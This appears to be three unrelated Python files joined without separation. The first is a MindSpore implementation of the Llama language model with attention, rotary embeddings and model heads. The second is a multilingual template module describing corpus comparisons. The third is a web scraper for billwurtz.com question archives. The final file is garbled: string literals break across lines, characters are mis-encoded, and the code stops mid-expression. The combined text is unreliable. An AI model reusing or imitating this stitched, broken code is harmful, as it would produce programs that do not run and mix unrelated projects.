import os
import math
from typing import Tuple, Optional, Union, List
from functools import partial

import mindspore
import numpy as np
from mindspore import nn, ops, Parameter, numpy, Tensor
from mindspore.common.initializer import initializer, Normal
from mindnlp.models.utils import logging
from .llama_hf_config import LlamaConfig
from ..utils.activations import ACT2FN
from ...abc.backbones.pretrained import PreTrainedModel

logger = logging.get_logger(__name__)

def _make_causal_mask(
    input_ids_shape, dtype: mindspore.dtype, past_key_values_length: int = 0
):
    """
    Make causal mask used for bi-directional self-attention.
    """
    bsz, tgt_len = input_ids_shape
    mask = numpy.full((tgt_len, tgt_len), Tensor(np.finfo(mindspore.dtype_to_nptype(dtype)).min, dtype))
    mask_cond = numpy.arange(mask.shape[-1])
    mask = ops.masked_fill(mask, mask_cond < (mask_cond + 1).view(mask.shape[-1], 1), 0)
    mask = mask.astype(dtype)
    if past_key_values_length > 0:
        mask = ops.cat([numpy.zeros((tgt_len, past_key_values_length), dtype=dtype), mask], axis=-1)
    return ops.broadcast_to(mask[None, None, :, :], (bsz, 1, tgt_len, tgt_len + past_key_values_length))

def _expand_mask(mask: Tensor, dtype: mindspore.dtype, tgt_len: Optional[int] = None):
    """
    Expands attention_mask from `[bsz, seq_len]` to `[bsz, 1, tgt_seq_len, src_seq_len]`.
    """
    bsz, src_len = mask.shape
    tgt_len = tgt_len if tgt_len is not None else src_len
    expanded_mask = ops.broadcast_to((mask[:, None, None, :]).astype(mindspore.float32),
                                     (bsz, 1, tgt_len, src_len)).astype(dtype)

    inverted_mask = 1.0 - expanded_mask

    return ops.masked_fill(
        inverted_mask, inverted_mask.astype(mindspore.bool_),
        np.finfo(mindspore.dtype_to_nptype(dtype)).min
    )

class LlamaRMSNorm(nn.Cell):
    '''
    LlamaRMSNorm
    '''
    def __init__(self, hidden_size, eps=1e-6):
        """
        LlamaRMSNorm is equivalent to T5LayerNorm
        """
        super().__init__()
        self.weight = Parameter(ops.ones(hidden_size, mindspore.float32))
        self.variance_epsilon = eps

    def construct(self, hidden_states):
        variance = ops.mean(ops.pow(hidden_states.astype(mindspore.float32), 2), -1, True)
        hidden_states = hidden_states * ops.rsqrt(variance + self.variance_epsilon)

        # convert into half-precision if necessary
        if self.weight.dtype in [mindspore.float16]:
            hidden_states = hidden_states.astype(self.weight.dtype)

        return self.weight * hidden_states

class LlamaRotaryEmbedding(nn.Cell):
    '''
    LlamaRotaryEmbedding
    '''
    def __init__(self, dim, max_position_embeddings=2048, base=10000):
        super().__init__()
        self.inv_freq = 1.0 / (base ** (ops.arange(0, dim, 2).float() / dim))

        # Build here to make `torch.jit.trace` work.
        self.max_seq_len_cached = max_position_embeddings
        _t = ops.arange(self.max_seq_len_cached, dtype=self.inv_freq.dtype)
        # freqs = ops.einsum("i,j->ij", t, self.inv_freq)
        freqs = ops.outer(_t, self.inv_freq)
        # Different from paper, but it uses a different permutation in order to obtain the same calculation
        emb: Tensor = ops.cat((freqs, freqs), axis=-1)
        self.cos_cached = emb.cos()[None, None, :, :]
        self.sin_cached = emb.sin()[None, None, :, :]

    def construct(self, x, seq_len=None):
        # x: [bs, num_attention_heads, seq_len, head_size]
        # This `if` block is unlikely to be run after we build sin/cos in `__init__`. Keep the logic here just in case.
        if seq_len > self.max_seq_len_cached:
            self.max_seq_len_cached = seq_len
            _t = ops.arange(self.max_seq_len_cached, dtype=self.inv_freq.dtype)
            # freqs = ops.einsum("i,j->ij", t, self.inv_freq)
            freqs = ops.outer(_t, self.inv_freq)
            # Different from paper, but it uses a different permutation in order to obtain the same calculation
            emb = ops.cat((freqs, freqs), axis=-1)
            self.cos_cached = emb.cos()[None, None, :, :]
            self.sin_cached = emb.sin()[None, None, :, :]
        return (
            self.cos_cached[:, :, :seq_len, ...].astype(dtype=x.dtype),
            self.sin_cached[:, :, :seq_len, ...].astype(dtype=x.dtype),
        )

def rotate_half(_x):
    """Rotates half the hidden dims of the input."""
    x_1 = _x[..., : _x.shape[-1] // 2]
    x_2 = _x[..., _x.shape[-1] // 2 :]
    return ops.cat((-x_2, x_1), axis=-1)

def apply_rotary_pos_emb(_q, _k, cos, sin, position_ids):
    '''
    apply_rotary_pos_emb
    '''
    gather_indices = position_ids[:, None, :, None]  # [bs, 1, seq_len, 1]
    gather_indices = gather_indices.tile((1, cos.shape[1], 1, cos.shape[3]))
    cos = ops.gather_elements(input=cos.tile((gather_indices.shape[0], 1, 1, 1)), dim=2, index=gather_indices)
    sin = ops.gather_elements(input=sin.tile((gather_indices.shape[0], 1, 1, 1)), dim=2, index=gather_indices)
    q_embed = (_q * cos) + (rotate_half(_q) * sin)
    k_embed = (_k * cos) + (rotate_half(_k) * sin)
    return q_embed, k_embed

class LlamaMLP(nn.Cell):
    '''
    LlamaMLP
    '''
    def __init__(
        self,
        hidden_size: int,
        intermediate_size: int,
        hidden_act: str,
    ):
        super().__init__()
        self.gate_proj = nn.Dense(hidden_size, intermediate_size, has_bias=False)
        self.down_proj = nn.Dense(intermediate_size, hidden_size, has_bias=False)
        self.up_proj = nn.Dense(hidden_size, intermediate_size, has_bias=False)
        self.act_fn = ACT2FN[hidden_act]

    def construct(self, x):
        return self.down_proj(self.act_fn(self.gate_proj(x)) * self.up_proj(x))

class LlamaAttention(nn.Cell):
    """Multi-headed attention from 'Attention Is All You Need' paper"""

    def __init__(self, config: LlamaConfig):
        super().__init__()
        self.config = config
        self.hidden_size = config.hidden_size
        self.num_heads = config.num_attention_heads
        self.head_dim = self.hidden_size // self.num_heads
        self.max_position_embeddings = config.max_position_embeddings

        if (self.head_dim * self.num_heads) != self.hidden_size:
            raise ValueError(
                f"hidden_size must be divisible by num_heads (got `hidden_size`: {self.hidden_size}"
                f" and `num_heads`: {self.num_heads})."
            )
        self.q_proj = nn.Dense(self.hidden_size, self.num_heads * self.head_dim, has_bias=False)
        self.k_proj = nn.Dense(self.hidden_size, self.num_heads * self.head_dim, has_bias=False)
        self.v_proj = nn.Dense(self.hidden_size, self.num_heads * self.head_dim, has_bias=False)
        self.o_proj = nn.Dense(self.num_heads * self.head_dim, self.hidden_size, has_bias=False)
        self.rotary_emb = LlamaRotaryEmbedding(self.head_dim, max_position_embeddings=self.max_position_embeddings)

    def _shape(self, tensor: Tensor, seq_len: int, bsz: int):
        return tensor.view(bsz, seq_len, self.num_heads, self.head_dim).swapaxes(1, 2)

    def construct(
        self,
        hidden_states: Tensor,
        attention_mask: Optional[Tensor] = None,
        position_ids: Optional[Tensor] = None, # TODO: LongTensor
        past_key_value: Optional[Tuple[Tensor]] = None,
        output_attentions: bool = False,
        use_cache: bool = False,
    ) -> Tuple[Tensor, Optional[Tensor], Optional[Tuple[Tensor]]]:
        bsz, q_len, _ = hidden_states.shape

        query_states = self.q_proj(hidden_states).view(bsz, q_len, self.num_heads, self.head_dim).swapaxes(1, 2)
        key_states = self.k_proj(hidden_states).view(bsz, q_len, self.num_heads, self.head_dim).swapaxes(1, 2)
        value_states = self.v_proj(hidden_states).view(bsz, q_len, self.num_heads, self.head_dim).swapaxes(1, 2)

        kv_seq_len = key_states.shape[-2]
        if past_key_value is not None:
            kv_seq_len += past_key_value[0].shape[-2]
        cos, sin = self.rotary_emb(value_states, seq_len=kv_seq_len)
        query_states, key_states = apply_rotary_pos_emb(query_states, key_states, cos, sin, position_ids)
        # [bsz, nh, t, hd]

        if past_key_value is not None:
            # reuse k, v, self_attention
            key_states = ops.cat([past_key_value[0], key_states], axis=2)
            value_states = ops.cat([past_key_value[1], value_states], axis=2)

        past_key_value = (key_states, value_states) if use_cache else None

        attn_weights = ops.matmul(query_states, key_states.swapaxes(2, 3)) / math.sqrt(self.head_dim)

        if attn_weights.shape != (bsz, self.num_heads, q_len, kv_seq_len):
            raise ValueError(
                f"Attention weights should be of size {(bsz * self.num_heads, q_len, kv_seq_len)}, but is"
                f" {attn_weights.shape}"
            )

        if attention_mask is not None:
            if attention_mask.shape != (bsz, 1, q_len, kv_seq_len):
                raise ValueError(
                    f"Attention mask should be of size {(bsz, 1, q_len, kv_seq_len)}, but is {attention_mask.shape}"
                )
            attn_weights = attn_weights + attention_mask
            attn_weights = ops.maximum(attn_weights,
                                       Tensor(np.finfo(mindspore.dtype_to_nptype(attn_weights.dtype)).min))

        # upcast attention to fp32
        attn_weights = ops.softmax(attn_weights, axis=-1).astype(query_states.dtype)
        attn_output = ops.matmul(attn_weights, value_states)

        if attn_output.shape != (bsz, self.num_heads, q_len, self.head_dim):
            raise ValueError(
                f"`attn_output` should be of size {(bsz, self.num_heads, q_len, self.head_dim)}, but is"
                f" {attn_output.shape}"
            )

        attn_output = attn_output.swapaxes(1, 2)
        attn_output = attn_output.reshape(bsz, q_len, self.hidden_size)

        attn_output = self.o_proj(attn_output)

        if not output_attentions:
            attn_weights = None

        return attn_output, attn_weights, past_key_value

class LlamaDecoderLayer(nn.Cell):
    '''
    LlamaDecoder
    '''
    def __init__(self, config: LlamaConfig):
        super().__init__()
        self.hidden_size = config.hidden_size
        self.self_attn = LlamaAttention(config=config)
        self.mlp = LlamaMLP(
            hidden_size=self.hidden_size,
            intermediate_size=config.intermediate_size,
            hidden_act=config.hidden_act,
        )
        self.input_layernorm = LlamaRMSNorm(config.hidden_size, eps=config.rms_norm_eps)
        self.post_attention_layernorm = LlamaRMSNorm(config.hidden_size, eps=config.rms_norm_eps)

    def construct(
        self,
        hidden_states: Tensor,
        attention_mask: Optional[Tensor] = None,
        position_ids: Optional[Tensor] = None,
        past_key_value: Optional[Tuple[Tensor]] = None,
        output_attentions: Optional[bool] = False,
        use_cache: Optional[bool] = False,
    ) -> Tuple[Tensor, Optional[Tuple[Tensor, Tensor]]]:
        """
        Args:
            hidden_states (`torch.FloatTensor`): input to the layer of shape `(batch, seq_len, embed_dim)`
            attention_mask (`torch.FloatTensor`, *optional*): attention mask of size
                `(batch, 1, tgt_len, src_len)` where padding elements are indicated by very large negative values.
            output_attentions (`bool`, *optional*):
                Whether or not to return the attentions tensors of all attention layers. See `attentions` under
                returned tensors for more detail.
            use_cache (`bool`, *optional*):
                If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding
                (see `past_key_values`).
            past_key_value (`Tuple(torch.FloatTensor)`, *optional*): cached past key and value projection states
        """

        residual = hidden_states

        hidden_states = self.input_layernorm(hidden_states)

        # Self Attention
        hidden_states, self_attn_weights, present_key_value = self.self_attn(
            hidden_states=hidden_states,
            attention_mask=attention_mask,
            position_ids=position_ids,
            past_key_value=past_key_value,
            output_attentions=output_attentions,
            use_cache=use_cache,
        )
        hidden_states = residual + hidden_states

        # Fully Connected
        residual = hidden_states
        hidden_states = self.post_attention_layernorm(hidden_states)
        hidden_states = self.mlp(hidden_states)
        hidden_states = residual + hidden_states

        outputs = (hidden_states,)

        if output_attentions:
            outputs += (self_attn_weights,)

        if use_cache:
            outputs += (present_key_value,)

        return outputs

class LlamaPreTrainedModel(PreTrainedModel):
    '''
    LlamaPreTrainedModel
    '''
    config_class = LlamaConfig
    base_model_prefix = "model"
    supports_gradient_checkpointing = True
    _no_split_modules = ["LlamaDecoderLayer"]
    _keys_to_ignore_on_load_unexpected = [r"decoder\.version"]

    def init_model_weights(self):
        """
        initialize model weights.
        """

    def _init_weights(self, module):
        std = self.config.initializer_range
        if isinstance(module, nn.Dense):
            module.weight.set_data(initializer(Normal(
                sigma=std, mean=0.0)), module.weight.shape, module.weight.dtype)
            if module.bias is not None:
                module.bias.set_data(initializer('zeros'),
                                     module.bias.shape, module.bias.dtype)
        elif isinstance(module, nn.Embedding):
            module.weight.set_data(initializer(Normal(
                sigma=std, mean=0.0)), module.weight.shape, module.weight.dtype)
            if module.padding_idx is not None:
                zeroslike = ops.ZerosLike()
                module.weight.data[module.padding_idx] = zeroslike(
                    module.weight.data[module.padding_idx])

    def _set_gradient_checkpointing(self, module, value=False):
        if isinstance(module, LlamaModel):
            module.gradient_checkpointing = value

    def post_init(self):
        """
        A method executed at the end of each Transformer model initialization, to execute code that needs the model's
        modules properly initialized (such as weight initialization).
        """
        self.init_weights()
        self._backward_compatibility_gradient_checkpointing()

    def get_input_embeddings(self) -> "nn.Cell":
        """
        Returns the model's input embeddings.
        """

    def set_input_embeddings(self, value: "nn.Cell"):
        """
        Set model's input embeddings.
        """

    def resize_position_embeddings(self, new_num_position_embeddings: int):
        """
        resize the model position embeddings if necessary
        """

    def get_position_embeddings(self):
        """
        get the model position embeddings if necessary
        """

    def save(self, save_dir: Union[str, os.PathLike]):
        "save pretrain model"

    def _set_gradient_checkpointing(self, module, value=False):
        if isinstance(module, LlamaModel):
            module.gradient_checkpointing = value

    def init_weights(self):
        """
        If needed prunes and maybe initializes weights. If using a custom `PreTrainedModel`, you need to implement any
        initialization logic in `_init_weights`.
        """

    def _backward_compatibility_gradient_checkpointing(self):
        """
        Support gradient_checkpointing.
        """
        if self.supports_gradient_checkpointing and getattr(self.config, "gradient_checkpointing", False):
            self.gradient_checkpointing_enable()
            # Remove the attribute now that is has been consumed, so it's no saved in the config.
            delattr(self.config, "gradient_checkpointing")

    def gradient_checkpointing_enable(self):
        """
        Activates gradient checkpointing for the current model.
        Note that in other frameworks this feature can be referred to as "activation checkpointing" or "checkpoint
        activations".
        """
        if not self.supports_gradient_checkpointing:
            raise ValueError(
                f"{self.__class__.__name__} does not support gradient checkpointing.")
        self.apply(partial(self._set_gradient_checkpointing, value=True))

class LlamaModel(LlamaPreTrainedModel):
    """
    Transformer decoder consisting of *config.num_hidden_layers* layers. Each layer is a [`LlamaDecoderLayer`]
    Args:
        config: LlamaConfig
    """

    def __init__(self, config: LlamaConfig):
        super().__init__(config)
        self.padding_idx = config.pad_token_id
        self.vocab_size = config.vocab_size

        self.embed_tokens = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=self.padding_idx)
        self.layers = nn.CellList([LlamaDecoderLayer(config) for _ in range(config.num_hidden_layers)])
        self.norm = LlamaRMSNorm(config.hidden_size, eps=config.rms_norm_eps)

        self.gradient_checkpointing = False
        # Initialize weights and apply final processing
        self.post_init()

    def get_input_embeddings(self):
        return self.embed_tokens

    def set_input_embeddings(self, value):
        self.embed_tokens = value

    def _prepare_decoder_attention_mask(self, attention_mask, input_shape, inputs_embeds, past_key_values_length):
        # create causal mask
        # [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
        combined_attention_mask = None
        if input_shape[-1] > 1:
            combined_attention_mask = _make_causal_mask(
                input_shape,
                inputs_embeds.dtype,
                past_key_values_length=past_key_values_length,
            )

        if attention_mask is not None:
            # [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
            expanded_attn_mask = _expand_mask(attention_mask, inputs_embeds.dtype, tgt_len=input_shape[-1])
            combined_attention_mask = (
                expanded_attn_mask if combined_attention_mask is None else expanded_attn_mask + combined_attention_mask
            )

        return combined_attention_mask

    def construct(
        self,
        input_ids: Tensor = None,
        attention_mask: Optional[Tensor] = None,
        position_ids: Optional[Tensor] = None,
        past_key_values: Optional[List[Tensor]] = None,
        inputs_embeds: Optional[Tensor] = None,
        use_cache: Optional[bool] = None,
        output_attentions: Optional[bool] = None,
        output_hidden_states: Optional[bool] = None,
    ) -> Tuple[Tensor]:
        """construct."""
        output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
        output_hidden_states = (
            output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
        )
        use_cache = use_cache if use_cache is not None else self.config.use_cache

        # retrieve input_ids and inputs_embeds
        if input_ids is not None and inputs_embeds is not None:
            raise ValueError("You cannot specify both decoder_input_ids and decoder_inputs_embeds at the same time")
        if input_ids is not None:
            batch_size, seq_length = input_ids.shape
        elif inputs_embeds is not None:
            batch_size, seq_length, _ = inputs_embeds.shape
        else:
            raise ValueError("You have to specify either decoder_input_ids or decoder_inputs_embeds")

        seq_length_with_past = seq_length
        past_key_values_length = 0

        if past_key_values is not None:
            past_key_values_length = past_key_values[0][0].shape[2]
            seq_length_with_past = seq_length_with_past + past_key_values_length

        if position_ids is None:
            position_ids = ops.arange(
                past_key_values_length, seq_length + past_key_values_length, dtype=mindspore.int64
            )
            position_ids = position_ids.unsqueeze(0).view(-1, seq_length)
        else:
            position_ids = position_ids.view(-1, seq_length).long()

        if inputs_embeds is None:
            inputs_embeds = self.embed_tokens(input_ids)
        # embed positions
        if attention_mask is None:
            attention_mask = ops.ones(
                (batch_size, seq_length_with_past), dtype=mindspore.bool_
            )
        attention_mask = self._prepare_decoder_attention_mask(
            attention_mask, (batch_size, seq_length), inputs_embeds, past_key_values_length
        )

        hidden_states = inputs_embeds

        if self.gradient_checkpointing and self.training:
            if use_cache:
                logger.warning_once(
                    "`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`..."
                )
                use_cache = False

        # decoder layers
        all_hidden_states = () if output_hidden_states else None
        all_self_attns = () if output_attentions else None
        next_decoder_cache = () if use_cache else None

        for idx, decoder_layer in enumerate(self.layers):
            if output_hidden_states:
                all_hidden_states += (hidden_states,)

            past_key_value = past_key_values[idx] if past_key_values is not None else None

            # TODO: how checkpoint
            # if self.gradient_checkpointing and self.training:

            #     def create_custom_forward(module):
            #         def custom_forward(*inputs):
            #             # None for past_key_value
            #             return module(*inputs, output_attentions, None)

            #         return custom_forward

            #     layer_outputs = torch.utils.checkpoint.checkpoint(
            #         create_custom_forward(decoder_layer),
            #         hidden_states,
            #         attention_mask,
            #         position_ids,
            #         None,
            #     )
            # else:
            layer_outputs = decoder_layer(
                hidden_states,
                attention_mask=attention_mask,
                position_ids=position_ids,
                past_key_value=past_key_value,
                output_attentions=output_attentions,
                use_cache=use_cache,
            )

            hidden_states = layer_outputs[0]

            if use_cache:
                next_decoder_cache += (layer_outputs[2 if output_attentions else 1],)

            if output_attentions:
                all_self_attns += (layer_outputs[1],)

        hidden_states = self.norm(hidden_states)

        # add hidden states from the last decoder layer
        if output_hidden_states:
            all_hidden_states += (hidden_states,)

        next_cache = next_decoder_cache if use_cache else None

        return tuple(v for v in [hidden_states, next_cache, all_hidden_states, all_self_attns] if v is not None)

class LlamaForCausalLM(LlamaPreTrainedModel):
    '''
    LlamaForCausalLM
    '''
    def __init__(self, config):
        super().__init__(config)
        self.model = LlamaModel(config)

        self.lm_head = nn.Dense(config.hidden_size, config.vocab_size, has_bias=False)

        # Initialize weights and apply final processing
        self.post_init()

    def get_input_embeddings(self):
        '''
        get_input_embeddings
        '''
        return self.model.embed_tokens

    def set_input_embeddings(self, value):
        '''
        set_input_embeddings
        '''
        self.model.embed_tokens = value

    def get_output_embeddings(self):
        '''
        get_output_embeddings
        '''
        return self.lm_head

    def set_output_embeddings(self, new_embeddings):
        '''
        set_output_embeddings
        '''
        self.lm_head = new_embeddings

    def set_decoder(self, decoder):
        '''
        set_decoder
        '''
        self.model = decoder

    def get_decoder(self):
        '''
        get_decoder
        '''
        return self.model

    def construct(
        self,
        input_ids: Tensor = None,
        attention_mask: Optional[Tensor] = None,
        position_ids: Optional[Tensor] = None,
        past_key_values: Optional[List[Tensor]] = None,
        inputs_embeds: Optional[Tensor] = None,
        labels: Optional[Tensor] = None,
        use_cache: Optional[bool] = None,
        output_attentions: Optional[bool] = None,
        output_hidden_states: Optional[bool] = None,
    ) -> Tuple[Tensor]:
        r"""
        Args:
            labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
                Labels for computing the masked language modeling loss. Indices should either be in `[0, ...,
                config.vocab_size]` or -100 (see `input_ids` docstring). Tokens with indices set to `-100` are ignored
                (masked), the loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`.
        Returns:
        Example:
        ```python
        >>> from transformers import AutoTokenizer, LlamaForCausalLM
        >>> model = LlamaForCausalLM.from_pretrained(PATH_TO_CONVERTED_WEIGHTS)
        >>> tokenizer = AutoTokenizer.from_pretrained(PATH_TO_CONVERTED_TOKENIZER)
        >>> prompt = "Hey, are you consciours? Can you talk to me?"
        >>> inputs = tokenizer(prompt, return_tensors="pt")
        >>> # Generate
        >>> generate_ids = model.generate(inputs.input_ids, max_length=30)
        >>> tokenizer.batch_decode(generate_ids, skip_special_tokens=True, clean_up_tokenization_spaces=False)[0]
        "Hey, are you consciours? Can you talk to me?\nI'm not consciours, but I can talk to you."
        ```"""

        output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
        output_hidden_states = (
            output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
        )

        # decoder outputs consists of (dec_features, layer_state, dec_hidden, dec_attn)
        outputs = self.model(
            input_ids=input_ids,
            attention_mask=attention_mask,
            position_ids=position_ids,
            past_key_values=past_key_values,
            inputs_embeds=inputs_embeds,
            use_cache=use_cache,
            output_attentions=output_attentions,
            output_hidden_states=output_hidden_states,
        )

        hidden_states = outputs[0]
        logits = self.lm_head(hidden_states)

        loss = None
        if labels is not None:
            # Shift so that tokens < n predict n
            shift_logits = logits[..., :-1, :]
            shift_labels = labels[..., 1:]
            # Flatten the tokens
            loss_fct = nn.CrossEntropyLoss()
            shift_logits = shift_logits.view(-1, self.config.vocab_size)
            shift_labels = shift_labels.view(-1)
            # Enable model parallelism
            loss = loss_fct(shift_logits, shift_labels)

        output = (logits,) + outputs[1:]
        return (loss,) + output if loss is not None else output

    def prepare_inputs_for_generation(
        self, input_ids, past_key_values=None, attention_mask=None, inputs_embeds=None, **kwargs
    ):
        '''
        prepare_inputs_for_generation
        '''
        if past_key_values:
            input_ids = input_ids[:, -1:]

        position_ids = kwargs.get("position_ids", None)
        if attention_mask is not None and position_ids is None:
            # create position_ids on the fly for batch generation
            position_ids = attention_mask.long().cumsum(-1) - 1
            position_ids.masked_fill_(attention_mask == 0, 1)
            if past_key_values:
                position_ids = position_ids[:, -1].unsqueeze(-1)

        # if `inputs_embeds` are passed, we only want to use them in the 1st generation step
        if inputs_embeds is not None and past_key_values is None:
            model_inputs = {"inputs_embeds": inputs_embeds}
        else:
            model_inputs = {"input_ids": input_ids}

        model_inputs.update(
            {
                "position_ids": position_ids,
                "past_key_values": past_key_values,
                "use_cache": kwargs.get("use_cache"),
                "attention_mask": attention_mask,
            }
        )
        return model_inputs

    @staticmethod
    def _reorder_cache(past_key_values, beam_idx):
        reordered_past = ()
        for layer_past in past_key_values:
            reordered_past += (tuple(past_state.index_select(0, beam_idx) for past_state in layer_past),)
        return reordered_past

class LlamaForSequenceClassification(LlamaPreTrainedModel):
    '''
    LlamaForSequenceClassification
    '''
    _keys_to_ignore_on_load_missing = [r"lm_head.weight"]

    def __init__(self, config):
        super().__init__(config)
        self.num_labels = config.num_labels
        self.model = LlamaModel(config)
        self.score = nn.Dense(config.hidden_size, self.num_labels, has_bias=False)

        # Initialize weights and apply final processing
        self.post_init()

    def get_input_embeddings(self):
        return self.model.embed_tokens

    def set_input_embeddings(self, value):
        self.model.embed_tokens = value

    def construct(
        self,
        input_ids: Tensor = None,
        attention_mask: Optional[Tensor] = None,
        position_ids: Optional[Tensor] = None,
        past_key_values: Optional[List[Tensor]] = None,
        inputs_embeds: Optional[Tensor] = None,
        labels: Optional[Tensor] = None,
        use_cache: Optional[bool] = None,
        output_attentions: Optional[bool] = None,
        output_hidden_states: Optional[bool] = None,
    ) -> Tuple[Tensor]:
        r"""
        labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
            Labels for computing the sequence classification/regression loss. Indices should be in `[0, ...,
            config.num_labels - 1]`. If `config.num_labels == 1` a regression loss is computed (Mean-Square loss), If
            `config.num_labels > 1` a classification loss is computed (Cross-Entropy).
        """

        transformer_outputs = self.model(
            input_ids,
            attention_mask=attention_mask,
            position_ids=position_ids,
            past_key_values=past_key_values,
            inputs_embeds=inputs_embeds,
            use_cache=use_cache,
            output_attentions=output_attentions,
            output_hidden_states=output_hidden_states,
        )
        hidden_states = transformer_outputs[0]
        logits = self.score(hidden_states)

        if input_ids is not None:
            batch_size = input_ids.shape[0]
        else:
            batch_size = inputs_embeds.shape[0]

        if self.config.pad_token_id is None and batch_size != 1:
            raise ValueError("Cannot handle batch sizes > 1 if no padding token is defined.")
        if self.config.pad_token_id is None:
            sequence_lengths = -1
        else:
            if input_ids is not None:
                sequence_lengths = ops.ne(input_ids, self.config.pad_token_id).sum(-1) - 1
            else:
                sequence_lengths = -1

        pooled_logits = logits[ops.arange(batch_size), sequence_lengths]

        loss = None
        if labels is not None:
            if self.config.problem_type is None:
                if self.num_labels == 1:
                    self.config.problem_type = "regression"
                elif self.num_labels > 1 and labels.dtype in (mindspore.int64, mindspore.int32):
                    self.config.problem_type = "single_label_classification"
                else:
                    self.config.problem_type = "multi_label_classification"

            if self.config.problem_type == "regression":
                loss_fct = nn.MSELoss()
                if self.num_labels == 1:
                    loss = loss_fct(pooled_logits.squeeze(), labels.squeeze())
                else:
                    loss = loss_fct(pooled_logits, labels)
            elif self.config.problem_type == "single_label_classification":
                loss_fct = nn.CrossEntropyLoss()
                loss = loss_fct(pooled_logits.view(-1, self.num_labels), labels.view(-1))
            elif self.config.problem_type == "multi_label_classification":
                loss_fct = nn.BCEWithLogitsLoss()
                loss = loss_fct(pooled_logits, labels)
        output = (pooled_logits,) + transformer_outputs[1:]
        return ((loss,) + output) if loss is not None else output


import logging
from typing import List, Type

from explainer.core.models import Fact, Message
from explainer.core.realize_slots import RegexRealizer, SlotRealizerComponent
from explainer.explainer_message_generator import Event
from explainer.resources.processor_resource import TaskResource

log = logging.getLogger("root")

TEMPLATE = """
en: Two corpora were compared {parameters} .
fi: Kahta kokoelmaa verrattiin {parameters} .
de: Zwei Korpora wurden {parameters} verglichen.
fr: Deux corpus ont été comparés {parameters}.
| name = Comparison
"""

class ComparisonResource(TaskResource):
    def templates_string(self) -> str:
        return TEMPLATE

    def parse_task(self, event: Event) -> List[Message]:
        task = event.task
        if not task or task.name != "Comparison":
            return []

        if task.parameters.get("facet"):
            params = "[Comparison:Task:Facet:{}]".format(task.parameters["facet"])
        else:
            params = "[Comparison:Task:Unknown]"

        return [Message(Fact("task", "Comparison", params, event.id,))]

    def slot_realizer_components(self) -> List[Type[SlotRealizerComponent]]:
        return [
            EnglishComparisonFacetRealizer,
            EnglishComparisonUknownFacetRealizer,
            #
            FinnishComparisonFacetRealizer,
            FinnishComparisonUknownFacetRealizer,
            #
            GermanComparisonFacetRealizer,
            GermanComparisonUknownFacetRealizer,
            #
            FrenchComparisonFacetRealizer,
            FrenchComparisonUknownFacetRealizer,
        ]

class EnglishComparisonFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "en", r"\[Comparison:Task:Facet:([^\]]+)\]", [0], "based on the facet '{}'",
        )

class EnglishComparisonUknownFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "en", r"\[Comparison:Task:Unknown]", [], "",
        )

class FinnishComparisonFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "fi", r"\[Comparison:Task:Facet:([^\]]+)\]", [0], "'{}' arvojen osalta",
        )

class FinnishComparisonUknownFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "fi", r"\[Comparison:Task:Unknown]", [], "",
        )

class GermanComparisonFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "de", r"\[Comparison:Task:Facet:([^\]]+)\]", [0], "basierend auf der Such-Facette '{}'",
        )

class GermanComparisonUknownFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "de", r"\[Comparison:Task:Unknown]", [], "",
        )

class FrenchComparisonFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "fr", r"\[Comparison:Task:Facet:([^\]]+)\]", [0], "sur la base de la facette «{}»",
        )

class FrenchComparisonUknownFacetRealizer(RegexRealizer):
    def __init__(self, registry):
        super().__init__(
            registry, "fr", r"\[Comparison:Task:Unknown]", [], "",
        )


import json
import re
from datetime import datetime
from functools import lru_cache
from time import sleep
from urllib.parse import urljoin

from dateutil.relativedelta import *
from furl import furl
import xxhash
from bs4 import BeautifulSoup
from dateutil.parser import *
from requests_html import HTMLSession
from pathlib import Path

def dates(start, end):
    """
    generates all dates between start and end
    """
    now = datetime.now()
    for y in range(2016, now.year + 1):
        for m in range(1, 13):
            if y == now.year and m > now.month:
                continue
            r = int('{}{:02d}'.format(y, m))

            if r >= start and r <= end:
                yield '{}-{:02d}'.format(y, m)

@lru_cache(maxsize=999)
def extract_date_from_url(url):
    """
    >>> extract_date_from_url("https://billwurtz.com/questions/questions-2016-05.html")
    201605
    """
    try:
        date = int(''.join(str(furl(url)).split('/')[-1].split('-', 1)[-1].split('.')[0].split('-')))
    except:
        date = datetime.now().strftime('%Y%m')

    return date

def all_urls():
    all_urls = ['https://billwurtz.com/questions/questions.html']

    month = datetime.now()
    month += relativedelta(months=-1)
    last_month = int(month.strftime('%Y%m'))
    for d in reversed(list(dates(201605, last_month))):
        all_urls.append(f'https://billwurtz.com/questions/questions-{d}.html')

    return all_urls

def get_page(session, url):
    date = extract_date_from_url(url)
    p = Path(f'raw/{date}.html')

    if date != datetime.now().strftime('%Y%m') and p.is_file():
        return p.open().read()

    print(f'{datetime.now().isoformat()[:-7]} - ðŸ‘¾ downloading {url}')

    sleep(5)
    response = session.get(url)
    raw = response.text

    p.open(mode='w').write(raw)

    return raw

def get_lines(session, url):
    raw = get_page(session, url)

    date = int(extract_date_from_url(url))

    if date >= 201704:

        line = ''
        for x in raw.splitlines():

            x = x.replace(' ', ' ')
            x = x.replace('&sp;', ' ')
            x = x.replace('&nsp;', ' ')
            x = x.replace('&nb\bsp;', ' ')
            x = x.replace('
', '')

            # skip empty lines
            if len(x.strip()) < 1:
                continue

            # a new item starts
            if x[:10] == '
 <dco>':
                if line[:6] == '<item>':
                    line += '</item>'

                    if '<remqq' in line:
                        s = r"
(.+?)<remqq"
                        r = r"
<ans>\1</ans><remqq"
